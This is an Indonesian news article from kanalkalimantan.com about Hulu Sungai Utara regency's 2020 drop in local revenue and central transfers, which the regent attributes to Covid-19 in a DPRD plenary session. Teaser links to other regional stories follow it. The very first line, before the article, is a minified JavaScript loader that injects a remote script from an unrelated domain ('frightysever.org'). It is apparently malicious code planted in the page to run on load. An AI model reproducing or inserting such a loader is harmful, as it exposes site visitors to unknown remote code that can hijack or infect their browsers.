(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALIMANTAN.COM, AMUNTAI – Pendapatan Asli Daerah (PAD) tahun 2020 Kabupaten Hulu Sungai Utara (HSU) berkurang.
Kondisi itu diungkapkan Bupati HSU H Abdul Wahid saat rapat paripurna DPRD HSU dalam agenda jawaban kepala daerah atas pemandangan umum fraksi terhadap Raperda tentang pertanggungjawaban pelaksanaan APBD tahun anggaran 2020, Selasa (15/6/2021) siang.
“Salah satu penyebab menurunnya pendapatan karena merosotnya kondisi perekonomian masyarakat kita, sebagai akibat adanya wabah Covid-19,” ujar Bupati HSU.
Baca juga: Temuan ‘Sepele’ di RSD Idaman Banjarbaru, Atap Bocor, Westafel Tanpa Air hingga Lift Rusak
Bupati HSU menjawab pertanyaan fraksi dewan terkait tidak tercapainya PAD pada tahun anggaran 2020. Berkurangnya PAD pada tahun 2020 terutama terjadi pada pendapatan retribusi daerah yang hanya tercapai 73,43%, pendapatan pengelolaan kekayaan daerah yang dipisahkan hanya tercapai 61, 12%, dan pendapatan lain-lain PAD yang sah hanya 86 11%.
“Penetapan target pada tahun 2020, kita lakukan pada tahun 2019, dimana saat itu belum kita ketahui akan adanya wabah pandemi Covid 19, namun ternyata berdampak sangat signifikan terhadap perekonomian masyarakat,” imbuhnya.
Ia menjelaskan secara umum dalam penetapan target PAD ada tiga hal yang selalu menjadi dasar pertimbangan, yaitu kondisi perekonomian daerah pada tahun sebelumnya. Pertumbuhan ekonomi daerah pada tahun berikutnya dan realisasi penerimaan PAD tahun sebelumnya.
“Dalam rangka memaksimalkannya kami melalui BP2RD telah membentuk tim intensifikasi dan ekstensifikasi pajak daerah dan retribusi daerah,” katanya.
Baca juga: Novotel Banjarmasin Optimistis Bisnis Perhotelan Bangkit Kembali
Sementara terkait pengurangan dana transfer dari pemerintah pusat, Bupati HSU menyebut hal ini dikarenakan berkurangnya transfer Dana Alokasi Umum (DAU) dan Dana Alokasi Khusus (DAK) menyusul Peraturan Menteri Keuangan Nomor 35 tahun 2020 tentang pengelolaan transfer ke daerah dan dana desa tahun anggaran 2020. Peraturan Menteri Keuangan itu dalam rangka penanganan pandemi Covid-19 atau menghadapi ancaman yang membahayakan perekonomian nasional.
“Sedangkan berkurangnya dana bagi hasil pajak dari pemerintah provinsi, juga disebabkan menurunnya pendapatan pajak provinsi imbas pandemi Covid-19,” pungkasnya (kanalkalimantan.com/dew)
Reporter : dew
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.